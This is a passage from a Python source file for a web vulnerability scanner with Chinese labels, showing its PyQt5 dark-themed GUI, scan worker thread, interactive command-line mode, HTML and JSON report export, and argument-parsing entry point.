            vulns = self.business_tester.test(target_url, auth_token, callback)
            self.all_vulnerabilities.extend(vulns)
      
        if callback:
            callback(f"扫描完成，发现 {len(self.all_vulnerabilities)} 个漏洞")
      
        return self.all_vulnerabilities

# ==================== GUI界面 ====================
if DEPENDENCIES['PyQt5']:
  
    class DarkTheme:
        """暗色主题"""
        STYLESHEET = """
        QMainWindow {
            background-color: #1e1e1e;
            color: #d4d4d4;
        }
        QWidget {
            background-color: #1e1e1e;
            color: #d4d4d4;
        }
        QTabWidget::pane {
            border: 1px solid #3e3e42;
            background: #252526;
        }
        QTabBar::tab {
            background: #2d2d30;
            color: #cccccc;
            padding: 8px 20px;
            margin-right: 2px;
        }
        QTabBar::tab:selected {
            background: #007acc;
            color: white;
        }
        QPushButton {
            background-color: #007acc;
            color: white;
            padding: 8px 16px;
            border: none;
            border-radius: 4px;
            font-weight: bold;
        }
        QPushButton:hover {
            background-color: #005a9e;
        }
        QPushButton:disabled {
            background-color: #3e3e42;
            color: #6e6e70;
        }
        QLineEdit, QPlainTextEdit, QTextEdit {
            background-color: #2d2d30;
            color: #d4d4d4;
            border: 1px solid #3e3e42;
            padding: 6px;
            border-radius: 3px;
        }
        QTableWidget {
            background-color: #1e1e1e;
            color: #d4d4d4;
            gridline-color: #3e3e42;
            border: 1px solid #3e3e42;
        }
        QHeaderView::section {
            background-color: #2d2d30;
            color: #d4d4d4;
            padding: 6px;
            border: none;
            font-weight: bold;
        }
        QProgressBar {
            background-color: #3e3e42;
            border: none;
            height: 12px;
            border-radius: 6px;
        }
        QProgressBar::chunk {
            background-color: #007acc;
            border-radius: 6px;
        }
        QCheckBox {
            color: #d4d4d4;
            spacing: 8px;
        }
        QGroupBox {
            border: 1px solid #3e3e42;
            border-radius: 4px;
            margin-top: 8px;
            padding-top: 8px;
        }
        QGroupBox::title {
            subcontrol-origin: margin;
            left: 10px;
            padding: 0 5px;
            color: #007acc;
            font-weight: bold;
        }
        QTextBrowser, QListWidget {
            background-color: #2d2d30;
            color: #d4d4d4;
            border: 1px solid #3e3e42;
        }
        QSpinBox {
            background-color: #2d2d30;
            color: #d4d4d4;
            border: 1px solid #3e3e42;
            padding: 4px;
        }
        """

    class MainWindow(QMainWindow):
        """主窗口"""
        scan_started = pyqtSignal()
        scan_finished = pyqtSignal(list)

        def __init__(self, config: ConfigManager):
            super().__init__()
            self.config = config
            self.scanner = VulnerabilityScanner(config)
            self.scan_thread = None
            self.scan_worker = None
            self.scan_is_running = False
          
            self.setWindowTitle("Advanced Web Vulnerability Scanner Pro v2.0")
            self.setGeometry(100, 100, 1600, 1000)
            self.setStyleSheet(DarkTheme.STYLESHEET)
          
            self._init_ui()
            self._connect_signals()

        def _init_ui(self):
            """初始化UI"""
            central_widget = QWidget()
            self.setCentralWidget(central_widget)
            main_layout = QVBoxLayout(central_widget)
          
            self.tab_widget = QTabWidget()
          
            # 扫描配置标签页
            scan_tab = QWidget()
            scan_layout = QHBoxLayout(scan_tab)
          
            left_panel = self._create_config_panel()
            right_panel = self._create_result_panel()
          
            splitter = QSplitter(Qt.Horizontal)
            splitter.addWidget(left_panel)
            splitter.addWidget(right_panel)
            splitter.setSizes([500, 1100])
          
            scan_layout.addWidget(splitter)
            self.tab_widget.addTab(scan_tab, "🔍 漏洞扫描")
          
            # 漏洞详情标签页
            self.vuln_details_tab = QTextBrowser()
            self.tab_widget.addTab(self.vuln_details_tab, "🔬 漏洞详情")
          
            main_layout.addWidget(self.tab_widget)
          
            self.statusBar().showMessage("就绪")

        def _create_config_panel(self) -> QGroupBox:
            """创建配置面板"""
            group = QGroupBox("扫描配置")
            layout = QVBoxLayout()
          
            # 目标URL
            layout.addWidget(QLabel("目标 URL:"))
            self.url_input = QLineEdit()
            self.url_input.setPlaceholderText("https://example.com")
            layout.addWidget(self.url_input)
          
            # 扫描模块选择
            modules_group = QGroupBox("扫描模块")
            modules_layout = QVBoxLayout()
          
            self.ssrf_check = QCheckBox("SSRF漏洞检测")
            self.ssrf_check.setChecked(True)
            modules_layout.addWidget(self.ssrf_check)
          
            self.jwt_check = QCheckBox("JWT安全检测")
            self.jwt_check.setChecked(True)
            modules_layout.addWidget(self.jwt_check)
          
            self.cors_check = QCheckBox("CORS配置检测")
            self.cors_check.setChecked(True)
            modules_layout.addWidget(self.cors_check)
          
            self.component_check = QCheckBox("组件漏洞扫描")
            self.component_check.setChecked(True)
            modules_layout.addWidget(self.component_check)
          
            self.business_check = QCheckBox("业务逻辑检测")
            self.business_check.setChecked(False)
            modules_layout.addWidget(self.business_check)
          
            modules_group.setLayout(modules_layout)
            layout.addWidget(modules_group)
          
            # SSRF参数
            layout.addWidget(QLabel("SSRF测试参数 (逗号分隔):"))
            self.ssrf_params_input = QLineEdit()
            self.ssrf_params_input.setPlaceholderText("url,redirect,callback")
            layout.addWidget(self.ssrf_params_input)
          
            # JWT Token
            layout.addWidget(QLabel("JWT Token:"))
            self.jwt_token_input = QLineEdit()
            self.jwt_token_input.setPlaceholderText("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...")
            layout.addWidget(self.jwt_token_input)
          
            # CORS端点
            layout.addWidget(QLabel("CORS测试端点 (逗号分隔):"))
            self.cors_endpoints_input = QLineEdit()
            self.cors_endpoints_input.setPlaceholderText("/api/data,/api/user")
            layout.addWidget(self.cors_endpoints_input)
          
            layout.addStretch()
            group.setLayout(layout)
            return group

        def _create_result_panel(self) -> QGroupBox:
            """创建结果面板"""
            group = QGroupBox("扫描结果")
            layout = QVBoxLayout()
          
            # 控制按钮
            btn_layout = QHBoxLayout()
            self.start_btn = QPushButton("🚀 开始扫描")
            self.stop_btn = QPushButton("⏹️ 停止")
            self.stop_btn.setEnabled(False)
            self.export_btn = QPushButton("📄 导出报告")
            self.export_btn.setEnabled(False)
            btn_layout.addWidget(self.start_btn)
            btn_layout.addWidget(self.stop_btn)
            btn_layout.addWidget(self.export_btn)
            layout.addLayout(btn_layout)
          
            # 进度条
            self.progress_bar = QProgressBar()
            layout.addWidget(self.progress_bar)
          
            # 统计信息
            stats_layout = QHBoxLayout()
            self.total_vulns_label = QLabel("总漏洞: 0")
            self.critical_vulns_label = QLabel("严重: 0")
            self.high_vulns_label = QLabel("高危: 0")
            stats_layout.addWidget(self.total_vulns_label)
            stats_layout.addWidget(self.critical_vulns_label)
            stats_layout.addWidget(self.high_vulns_label)
            layout.addLayout(stats_layout)
          
            # 漏洞表格
            self.vuln_table = QTableWidget()
            self.vuln_table.setColumnCount(5)
            self.vuln_table.setHorizontalHeaderLabels([
                "类型", "名称", "严重程度", "风险评分", "证据"
            ])
            self.vuln_table.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch)
            self.vuln_table.itemDoubleClicked.connect(self.show_vulnerability_details)
            layout.addWidget(self.vuln_table)
          
            # 实时日志
            layout.addWidget(QLabel("实时日志:"))
            self.log_edit = QTextEdit()
            self.log_edit.setReadOnly(True)
            self.log_edit.setMaximumHeight(150)
            layout.addWidget(self.log_edit)
          
            group.setLayout(layout)
            return group

        def _connect_signals(self):
            """连接信号"""
            self.start_btn.clicked.connect(self.start_scan)
            self.stop_btn.clicked.connect(self.stop_scan)
            self.export_btn.clicked.connect(self.export_report)
            self.scan_started.connect(self.on_scan_started)
            self.scan_finished.connect(self.on_scan_finished)

        def start_scan(self):
            """开始扫描"""
            if self.scan_is_running:
                QMessageBox.warning(self, "警告", "扫描已在进行中！")
                return
          
            url = self.url_input.text().strip()
            if not url:
                QMessageBox.warning(self, "错误", "请输入目标URL")
                return
          
            # 清空结果
            self.vuln_table.setRowCount(0)
            self.vuln_details_tab.clear()
            self.log_edit.clear()
          
            # 构建扫描配置
            scan_config = {
                'target_url': url,
                'test_ssrf': self.ssrf_check.isChecked(),
                'test_jwt': self.jwt_check.isChecked(),
                'test_cors': self.cors_check.isChecked(),
                'test_components': self.component_check.isChecked(),
                'test_business_logic': self.business_check.isChecked(),
                'ssrf_parameters': [p.strip() for p in self.ssrf_params_input.text().split(',') if p.strip()],
                'jwt_token': self.jwt_token_input.text().strip(),
                'cors_endpoints': [e.strip() for e in self.cors_endpoints_input.text().split(',') if e.strip()]
            }
          
            # 创建工作线程
            self.scan_thread = QThread()
            self.scan_worker = ScanWorker(self.scanner, scan_config)
            self.scan_worker.moveToThread(self.scan_thread)
            self.scan_worker.log_signal.connect(self.append_log)
            self.scan_worker.progress_signal.connect(self.progress_bar.setValue)
            self.scan_worker.result_signal.connect(self.on_vulnerability_found)
            self.scan_worker.finished_signal.connect(self.on_scan_thread_finished)
            self.scan_thread.started.connect(self.scan_worker.run)
          
            self.scan_is_running = True
            self.scan_thread.start()
            self.scan_started.emit()

        def stop_scan(self):
            """停止扫描"""
            if self.scan_thread and self.scan_thread.isRunning():
                self.scan_worker.stop()
                self.scan_thread.quit()
                self.scan_thread.wait()
                self.scan_is_running = False
                self.scan_finished.emit([])

        def append_log(self, message: str):
            """追加日志"""
            self.log_edit.append(f"[{datetime.now().strftime('%H:%M:%S')}] {message}")
            cursor = self.log_edit.textCursor()
            cursor.movePosition(QTextCursor.End)
            self.log_edit.setTextCursor(cursor)

        def on_vulnerability_found(self, vuln: Vulnerability):
            """发现漏洞"""
            row = self.vuln_table.rowCount()
            self.vuln_table.insertRow(row)
          
            self.vuln_table.setItem(row, 0, QTableWidgetItem(vuln.type))
            self.vuln_table.setItem(row, 1, QTableWidgetItem(vuln.name))
          
            severity_item = QTableWidgetItem(vuln.severity)
            color = Vulnerability.RISK_LEVELS.get(vuln.severity, {}).get("color", "#000000")
            severity_item.setForeground(QColor(color))
            self.vuln_table.setItem(row, 2, severity_item)
          
            self.vuln_table.setItem(row, 3, QTableWidgetItem(str(vuln.risk_score)))
          
            evidence_preview = vuln.evidence[:50] + "..." if len(vuln.evidence) > 50 else vuln.evidence
            self.vuln_table.setItem(row, 4, QTableWidgetItem(evidence_preview))
          
            self.vuln_table.item(row, 0).setData(Qt.UserRole, vuln)
          
            # 更新统计
            total = self.vuln_table.rowCount()
            critical = len([i for i in range(total) if self.vuln_table.item(i, 2).text() == "CRITICAL"])
            high = len([i for i in range(total) if self.vuln_table.item(i, 2).text() == "HIGH"])
          
            self.total_vulns_label.setText(f"总漏洞: {total}")
            self.critical_vulns_label.setText(f"严重: {critical}")
            self.high_vulns_label.setText(f"高危: {high}")

        def show_vulnerability_details(self, item):
            """显示漏洞详情"""
            row = item.row()
            vuln = self.vuln_table.item(row, 0).data(Qt.UserRole)
            if vuln:
                html = self._generate_vulnerability_html(vuln)
                self.vuln_details_tab.setHtml(html)
                self.tab_widget.setCurrentWidget(self.vuln_details_tab)

        def _generate_vulnerability_html(self, vuln: Vulnerability) -> str:
            """生成漏洞详情HTML"""
            color = Vulnerability.RISK_LEVELS.get(vuln.severity, {}).get("color", "#000000")
          
            html = f"""
            <!DOCTYPE html>
            <html>
            <head>
                <meta charset="UTF-8">
                <style>
                    body {{
                        font-family: 'Segoe UI', sans-serif;
                        background: #1e1e1e;
                        color: #d4d4d4;
                        padding: 20px;
                    }}
                    .header {{
                        border-left: 5px solid {color};
                        padding-left: 20px;
                        margin-bottom: 30px;
                    }}
                    .header h1 {{
                        color: {color};
                        margin: 0;
                    }}
                    .section {{
                        background: #252526;
                        padding: 20px;
                        margin: 20px 0;
                        border-radius: 8px;
                        border: 1px solid #3e3e42;
                    }}
                    .section h3 {{
                        color: #007acc;
                        margin-top: 0;
                    }}
                    .code {{
                        background: #1e1e1e;
                        color: #4ade80;
                        padding: 15px;
                        border-radius: 4px;
                        font-family: 'Courier New', monospace;
                        white-space: pre-wrap;
                    }}
                </style>
            </head>
            <body>
                <div class="header">
                    <h1>[{vuln.severity}] {vuln.name}</h1>
                    <p>{vuln.description}</p>
                </div>
              
                <div class="section">
                    <h3>📊 风险评估</h3>
                    <p><strong>风险评分:</strong> {vuln.risk_score}/10</p>
                    <p><strong>严重程度:</strong> {vuln.severity}</p>
                    <p><strong>发现时间:</strong> {vuln.timestamp.strftime('%Y-%m-%d %H:%M:%S')}</p>
                </div>
              
                <div class="section">
                    <h3>🔍 证据</h3>
                    <div class="code">{vuln.evidence}</div>
                </div>
              
                <div class="section">
                    <h3>🛠️ 修复建议</h3>
                    <div class="code">{vuln.remediation}</div>
                </div>
              
                <div class="section">
                    <h3>📝 详细信息</h3>
                    <pre>{json.dumps(vuln.details, indent=2, ensure_ascii=False)}</pre>
                </div>
            </body>
            </html>
            """
            return html

        def on_scan_started(self):
            """扫描开始"""
            self.start_btn.setEnabled(False)
            self.stop_btn.setEnabled(True)
            self.export_btn.setEnabled(False)
            self.progress_bar.setValue(0)
            self.statusBar().showMessage("扫描进行中...")

        def on_scan_finished(self, vulns: List[Vulnerability]):
            """扫描完成"""
            self.start_btn.setEnabled(True)
            self.stop_btn.setEnabled(False)
            self.export_btn.setEnabled(True)
            self.progress_bar.setValue(100)
            self.statusBar().showMessage(f"扫描完成，发现 {len(vulns)} 个漏洞")
          
            if vulns:
                QMessageBox.information(self, "完成", f"扫描完成！\n\n发现 {len(vulns)} 个漏洞")
            else:
                QMessageBox.information(self, "完成", "扫描完成！\n\n✅ 未发现漏洞")

        def on_scan_thread_finished(self, vulns: List[Vulnerability]):
            """扫描线程结束"""
            self.scan_is_running = False
            if self.scan_thread:
                self.scan_thread.quit()
                self.scan_thread.wait()
                self.scan_thread = None
            self.scan_worker = None
            self.on_scan_finished(vulns)

        def export_report(self):
            """导出报告"""
            if self.vuln_table.rowCount() == 0:
                QMessageBox.warning(self, "警告", "没有可导出的漏洞")
                return
          
            filename, _ = QFileDialog.getSaveFileName(
                self, "保存报告", "", "HTML Files (*.html);;JSON Files (*.json)"
            )
          
            if filename:
                vulns = []
                for row in range(self.vuln_table.rowCount()):
                    vuln = self.vuln_table.item(row, 0).data(Qt.UserRole)
                    if vuln:
                        vulns.append(vuln)
              
                if filename.endswith('.json'):
                    with open(filename, 'w', encoding='utf-8') as f:
                        json.dump([v.to_dict() for v in vulns], f, indent=2, ensure_ascii=False)
                else:
                    self._save_html_report(vulns, filename)
              
                QMessageBox.information(self, "成功", f"报告已保存至:\n{filename}")

        def _save_html_report(self, vulns: List[Vulnerability], filename: str):
            """保存HTML报告"""
            critical = sum(1 for v in vulns if v.severity == 'CRITICAL')
            high = sum(1 for v in vulns if v.severity == 'HIGH')
            medium = sum(1 for v in vulns if v.severity == 'MEDIUM')
          
            html = f"""
            <!DOCTYPE html>
            <html>
            <head>
                <meta charset="UTF-8">
                <title>漏洞扫描报告 - {datetime.now().strftime('%Y-%m-%d')}</title>
                <style>
                    body {{ font-family: 'Segoe UI', sans-serif; background: #f5f5f5; padding: 20px; }}
                    .container {{ max-width: 1400px; margin: 0 auto; background: white; padding: 40px; border-radius: 8px; }}
                    h1 {{ color: #dc3545; border-bottom: 3px solid #dc3545; padding-bottom: 15px; }}
                    .summary {{ background: #fff3cd; padding: 20px; border-radius: 8px; margin: 20px 0; }}
                    .vuln-card {{ background: #fff; padding: 25px; margin: 20px 0; border-left: 5px solid #dc3545; border-radius: 4px; box-shadow: 0 1px 3px rgba(0,0,0,0.1); }}
                    .critical {{ color: #dc3545; }}
                    .high {{ color: #fd7e14; }}
                    .medium {{ color: #ffc107; }}
                </style>
            </head>
            <body>
                <div class="container">
                    <h1>🔒 高级Web漏洞扫描报告</h1>
                    <p><strong>生成时间:</strong> {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}</p>
                  
                    <div class="summary">
                        <h2>📊 执行摘要</h2>
                        <p><strong>总漏洞数:</strong> {len(vulns)}</p>
                        <p><strong>严重:</strong> <span class="critical">{critical}</span></p>
                        <p><strong>高危:</strong> <span class="high">{high}</span></p>
                        <p><strong>中危:</strong> <span class="medium">{medium}</span></p>
                    </div>
            """
          
            for vuln in vulns:
                html += f"""
                    <div class="vuln-card">
                        <h3>[{vuln.severity}] {vuln.name}</h3>
                        <p><strong>类型:</strong> {vuln.type}</p>
                        <p><strong>描述:</strong> {vuln.description}</p>
                        <p><strong>证据:</strong></p>
                        <pre>{vuln.evidence}</pre>
                        <p><strong>修复建议:</strong></p>
                        <pre>{vuln.remediation}</pre>
                    </div>
                """
          
            html += """
                </div>
            </body>
            </html>
            """
          
            with open(filename, 'w', encoding='utf-8') as f:
                f.write(html)

    class ScanWorker(QObject):
        """扫描工作线程"""
        log_signal = pyqtSignal(str)
        progress_signal = pyqtSignal(int)
        result_signal = pyqtSignal(Vulnerability)
        finished_signal = pyqtSignal(list)

        def __init__(self, scanner: VulnerabilityScanner, scan_config: Dict[str, Any]):
            super().__init__()
            self.scanner = scanner
            self.scan_config = scan_config
            self._stop_flag = False

        def stop(self):
            self._stop_flag = True

        def run(self):
            """执行扫描"""
            def progress_callback(msg: str):
                if not self._stop_flag:
                    self.log_signal.emit(msg)
          
            try:
                if not self._stop_flag:
                    vulns = self.scanner.scan(self.scan_config, progress_callback)
                  
                    if not self._stop_flag:
                        for vuln in vulns:
                            self.result_signal.emit(vuln)
                        self.finished_signal.emit(vulns)
                    else:
                        self.finished_signal.emit([])
                else:
                    self.finished_signal.emit([])
            except Exception as e:
                self.log_signal.emit(f"扫描异常: {str(e)}")
                self.finished_signal.emit([])

# ==================== CLI界面 ====================
class CLIApp:
    """命令行界面"""
  
    def __init__(self, config: ConfigManager):
        self.config = config
        self.console = Console() if DEPENDENCIES['rich'] else None
        self.scanner = VulnerabilityScanner(config)

    def print_banner(self):
        """打印Banner"""
        if self.console:
            banner = """
[bold red]╔═══════════════════════════════════════════════════════════╗
║   Advanced Web Vulnerability Scanner Pro v2.0            ║
║   高级Web漏洞扫描系统 - 企业级安全检测平台                ║
╚═══════════════════════════════════════════════════════════╝[/bold red]
            """
            self.console.print(Panel(banner, style="bold white"))
        else:
            print("""
╔═══════════════════════════════════════════════════════════╗
║   Advanced Web Vulnerability Scanner Pro v2.0            ║
╚═══════════════════════════════════════════════════════════╝
            """)

    def run_interactive(self):
        """交互模式"""
        self.print_banner()
      
        url = input("\n目标 URL: ").strip()
        if not url:
            print("[-] URL不能为空")
            return
      
        # 选择扫描模块
        print("\n选择扫描模块:")
        print("1. SSRF漏洞检测")
        print("2. JWT安全检测")
        print("3. CORS配置检测")
        print("4. 组件漏洞扫描")
        print("5. 业务逻辑检测")
        print("6. 全部扫描")
      
        choice = input("\n请选择 (1-6) [6]: ").strip() or "6"
      
        scan_config = {
            'target_url': url,
            'test_ssrf': choice in ['1', '6'],
            'test_jwt': choice in ['2', '6'],
            'test_cors': choice in ['3', '6'],
            'test_components': choice in ['4', '6'],
            'test_business_logic': choice in ['5', '6'],
            'ssrf_parameters': [],
            'jwt_token': '',
            'cors_endpoints': []
        }
      
        # 根据选择收集参数
        if scan_config['test_ssrf']:
            params = input("SSRF测试参数 (逗号分隔): ").strip()
            scan_config['ssrf_parameters'] = [p.strip() for p in params.split(',') if p.strip()]
      
        if scan_config['test_jwt']:
            token = input("JWT Token: ").strip()
            scan_config['jwt_token'] = token
      
        if scan_config['test_cors']:
            endpoints = input("CORS测试端点 (逗号分隔): ").strip()
            scan_config['cors_endpoints'] = [e.strip() for e in endpoints.split(',') if e.strip()]
      
        print("\n[+] 开始扫描...")
      
        def progress_callback(msg: str):
            print(f"[*] {msg}")
      
        vulns = self.scanner.scan(scan_config, progress_callback)
      
        print("\n[+] 扫描完成!")
        self.display_results(vulns)
      
        if vulns:
            save = input("\n保存报告? (y/n) [y]: ").lower()
            if save != 'n':
                output_dir = Path(self.config.get("output.output_dir", "~/vuln_scanner_reports")).expanduser()
                output_dir.mkdir(parents=True, exist_ok=True)
                filename = output_dir / f"vuln_report_{int(time.time())}.html"
                self._save_report(vulns, filename)
                print(f"[+] 报告已保存: {filename}")

    def display_results(self, vulns: List[Vulnerability]):
        """显示结果"""
        if not vulns:
            if self.console:
                self.console.print("[green]✅ 未发现漏洞[/green]")
            else:
                print("✅ 未发现漏洞")
            return
      
        if DEPENDENCIES['rich'] and self.console:
            table = Table(title="漏洞详情", show_header=True, header_style="bold magenta")
            table.add_column("类型", style="cyan")
            table.add_column("名称", style="yellow")
            table.add_column("严重程度", style="red")
            table.add_column("风险评分", justify="right")
          
            for vuln in vulns:
                severity_color = {
                    "CRITICAL": "bold red",
                    "HIGH": "red",
                    "MEDIUM": "yellow",
                    "LOW": "green"
                }.get(vuln.severity, "white")
              
                table.add_row(
                    vuln.type,
                    vuln.name,
                    f"[{severity_color}]{vuln.severity}[/{severity_color}]",
                    f"{vuln.risk_score:.1f}/10"
                )
          
            self.console.print(table)
            self.console.print(f"\n[bold red]⚠️  发现 {len(vulns)} 个漏洞![/bold red]")
        else:
            print(f"\n⚠️  发现 {len(vulns)} 个漏洞!")
            for i, vuln in enumerate(vulns):
                print(f"  [{i+1}] [{vuln.severity}] {vuln.name}")
                print(f"      类型: {vuln.type}")
                print(f"      风险评分: {vuln.risk_score}/10")

    def _save_report(self, vulns: List[Vulnerability], filename: Path):
        """保存报告"""
        html = f"""
        <!DOCTYPE html>
        <html>
        <head>
            <meta charset="UTF-8">
            <title>漏洞扫描报告</title>
        </head>
        <body>
            <h1>漏洞扫描报告</h1>
            <p>生成时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}</p>
            <p>总漏洞数: {len(vulns)}</p>
        """
      
        for vuln in vulns:
            html += f"""
            <div>
                <h3>[{vuln.severity}] {vuln.name}</h3>
                <p>{vuln.description}</p>
                <pre>{vuln.evidence}</pre>
            </div>
            """
      
        html += "</body></html>"
      
        with open(filename, 'w', encoding='utf-8') as f:
            f.write(html)

# ==================== 主入口 ====================
def main():
    """主入口"""
    parser = argparse.ArgumentParser(
        description="Advanced Web Vulnerability Scanner Pro v2.0",
        formatter_class=argparse.RawDescriptionHelpFormatter
    )
    parser.add_argument("--gui", action="store_true", help="启动图形界面")
    parser.add_argument("--cli", action="store_true", help="启动命令行界面")
    parser.add_argument("--url", help="目标URL")
    parser.add_argument("--config", help="配置文件路径")
    parser.add_argument("--version", action="version", version="v2.0.0")

    args = parser.parse_args()

    # 检查依赖
    missing_deps = [dep for dep, available in DEPENDENCIES.items() if not available and dep != 'PyQt5']
    if missing_deps:
        print(f"\n[!] 缺少以下依赖: {', '.join(missing_deps)}")
        print("    安装命令: pip3 install " + " ".join(missing_deps))

    config = ConfigManager(args.config or "~/.vulnscanner/config.yaml")

    if args.gui:
        if not DEPENDENCIES['PyQt5']:
            print("[-] PyQt5 未安装，无法启动GUI模式")
            sys.exit(1)
      
        app = QApplication(sys.argv)
        app.setStyle("Fusion")
        window = MainWindow(config)
        window.show()
        sys.exit(app.exec_())
  
    elif args.cli or (len(sys.argv) == 1):
        if not DEPENDENCIES['requests']:
            print("[-] requests 未安装，无法执行扫描")
            sys.exit(1)
      
        cli = CLIApp(config)
        cli.run_interactive()
  
    elif args.url:
        if not DEPENDENCIES['requests']:
            print("[-] requests 未安装，无法执行扫描")
            sys.exit(1)
      
        cli = CLIApp(config)
        scan_config = {
            'target_url': args.url,
            'test_ssrf': True,
            'test_jwt': True,
            'test_cors': True,
            'test_components': True,
            'test_business_logic': False,
            'ssrf_parameters': [],
            'jwt_token': '',
            'cors_endpoints': []
        }
      
        print("[+] 开始扫描...")
        vulns = cli.scanner.scan(scan_config)
        cli.display_results(vulns)
    else:
        parser.print_help()

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n[!] 用户中断，退出。")
        sys.exit(0)
    except Exception as e:
        print(f"\n[!] 致命错误: {e}")
        import traceback
        traceback.print_exc()
        sys.exit(1)
